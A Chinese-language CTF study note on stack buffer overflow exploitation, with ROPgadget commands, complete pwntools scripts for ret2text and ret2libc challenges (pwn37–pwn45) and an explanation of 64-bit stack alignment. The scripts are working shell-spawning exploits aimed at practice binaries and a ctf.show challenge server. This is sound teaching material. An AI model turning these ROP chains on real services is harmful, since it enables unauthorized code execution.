以下均针对AMD 指令集

ROPgadget

1
2
3
4
5
$ROPgadget --binary pwn --only 'pop|ret' | grep 'rdi'	#控制寄存器的值
$ROPgadget --binary pwn --string '/bin/sh' #查找字符串
$ROPgadget --binary pwn --only 'leave|ret' | grep 'leave'#查找leave ret指令地址
$ROPgadget --binary pwn --ropchain #生成现成的rop利用链直接getshell,适用于静态编译的程序
$ROPgadget --binary pwn --only 'ret' #查找ret指令的地址

ret2

text

32位

栈传参,顺序从右向左,ebp占4个字节

栈布局

fun(a,b,c)

1
2
3
4
5
6
---- ebp
----返回函数地址fun_addr
----下一执行函数地址
----c
----b
----a

pwn37 – 32位有完整后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')

io=process('./pwn')

gdb.attach(io)

backdoor = 0x08048521

payload = b'a'*(0x12+0x4)+p32(backdoor)

io.recvuntil(b'32bit')
io.sendline(payload)

io.interactive()

pwn39 – 后门函数需要拼接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')

io = process('./pwn')
elf = ELF('./pwn')
gdb.attach(io)

system = elf.sym['system']

bin_sh = 0x08048750

payload = b'a'*(0x12 + 0x4) + p32(system) + p32(0) + p32(bin_sh) #其中p32(0)是用来覆盖执行system后要执行的下一个函数的地址

io.recvuntil(b'32bit')
io.sendline(payload)

io.interactive()

小tips:

call指令会自动压入返回地址,而直接跳转system函数不会自动压入返回地址,64位程序就不用考虑这个问题

1
2
3
4
5
在使用call system地址作为backdoor地址时
payload = b'a'*(0x12+0x4) + p32(call_system) + p32(bin_sh)
不需要手动设置函数返回地址
在直接将system函数入口作为返回地址时,需要手动压入返回地址
payload = b'a'*(0x12+0x4) + p32(system) + p32(返回地址) + p32(bin_sh)

64位

寄存器传参,顺序rdi,rsi,rdx,rcx,r8,r9,栈上,rbp占8字节,需要栈对齐

pwn38 – 有完整后门函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

io=process('./pwn')
elf = ELF('./pwn')

gdb.attach(io)
backdoor = 0x400657
ret = 0x40066D

payload = b'a'*(0xA+0x8) + p64(ret) + p64(backdoor)

io.recvuntil(b'64bit')
io.sendline(payload)

io.interactive()

pwn40 – 后门函数需要拼接

64位程序与32位程序不同,前6个参数是使用寄存器传参,此时我们需要利用ROPgaget找到合适的gadget来改变参数调用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context(arch = 'amd64',os = 'linux',log_level = 'debug')

io=process('./pwn')
elf = ELF('./pwn')

gdb.attach(io)
backdoor = 0x40066E
pop_rdi = 0x4007e3
bin_sh = 0x400808

payload = b'a'*(0xA+0x8) + p64(pop_rdi) + p64(bin_sh) + p64(backdoor)

io.recvuntil(b'64bit')
io.sendline(payload)

io.interactive()

栈对齐

详细讲解文章: CTFer成长日记12:栈对齐—获取shell前的临门一脚 - 知乎

在64位程序中,想要调用system('/bin/sh')需要栈对齐,在上书题目中,如若不压入p64(ret),运行程序会发现程序停在了下面这条指令中:

1
movaps xmmword ptr [rsp + 0x50], xmm0

查询可知MOVAPS — Move Aligned Packed Single Precision Floating-Point Values这条指令的功能是:将xmm0中保存的单精度浮点数从xmm0移动到地址[rsp+0x50]处

执行这条指令也有条件,这直接关系到报错原因

When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte (128-bit version), 32-byte (VEX.256 encoded version) or 64-byte (EVEX.512 encoded version) boundary or a general-protection exception (#GP) will be generated.

也就是说:当内存地址作为操作数时,内存地址必须对齐16Byte32Byte64Byte 。这里所说的xByte,就是指地址必须是x的倍数。

那么到底是对齐多少字节呢,我们可以看到这样一条描述

This instruction can be used to load an XMM, YMM or ZMM register from an 128-bit, 256-bit or 512-bit memory location, to store the contents of an XMM, YMM or ZMM register into a 128-bit, 256-bit or 512-bit memory location, or to move data between two XMM, two YMM or two ZMM registers.

基于此推测:使用XMM时,需要16Byte对齐;使用YMM时,需要32Byte对齐;使用ZMM时,需要64Byte对齐。

回到此处出错的指令使用了XMM寄存器,因此我们需要确保在执行这一指令时,rsp + 0x50 是 16 的倍数。直观的说,该地址要以0结尾

解决方法:

基于上面的问题,我们需要修改栈的结构,使得程序执行到出错指令是,rsp + 0x50 是 16 的整数倍。我们要在确保获得shell的前提下修改栈的结构

因为system函数内部执行到这一出错指令的过程中rsp的变化量是固定的,我们可以修改进入system函数前的栈结构,进而影响执行出错指令前的栈结构。

通过gdb调试,在进入backdoor函数前rsp指向0x7fff6a7f5c18在执行到报错指令时rsp指向0x7fff6a7f5868差值为0x3b0

当我们在backdoor函数之前加入一个 ret 指令后栈顶下移8个字节使之对齐 16Byte 为此满足了XMM寄存器的要求成功得到shell

libc

查libc的网站libc database search

32位

pwn45

libc:libc database search

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context(arch = 'i386',os = 'linux',log_level = 'debug')
io = remote('pwn.challenge.ctf.show',28148)
#io = process('./pwn')
elf = ELF('./pwn')

#gdb.attach(io)
puts_plt = elf.plt['puts']

puts_got = elf.got['puts']
ctfshow = 0x0804863E
payload = b'a'*(0x6b+0x4) + p32(puts_plt) + p32(ctfshow) + p32(puts_got)

io.recvuntil('O.o?')
io.sendline(payload)


puts=u32(io.recvuntil('\xf7')[-4:])
print(hex(puts))

libc = ELF('1.so')
libc_base = puts - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

payload = b'a'*(0x6b+0x4) + p32(system) + p32(0) + p32(bin_sh)

io.sendline(payload)

io.interactive()

这里遇到了一个小问题,在接收时puts函数运行时got表地址时本地输出了这样一串

1
@\x91\x0b\xf6\xf0\\x06\xf6\xb6\x83\x04\x08\xa0\x99\x0b\xf6

而连接远程服务器后则是输出这一段

1
2
`\x03\xe5\xf7\x90\x1d\xe0\xf7\xb6\x83\x04\x08\xc0
\xe5\xf7

0xf7只是 32 位 Linux 系统中 libc 地址的常见前缀,而非唯一特征(0xf60xf8等同样可能,取决于 ASLR 随机化结果和系统配置)。远程服务器一般都开启了ASLR这时候通常前缀为0xf7在不确定本地ASLR开启情况时0xf0~0xff均可能,这时候最保险的方式就是接收最后4个字节

64位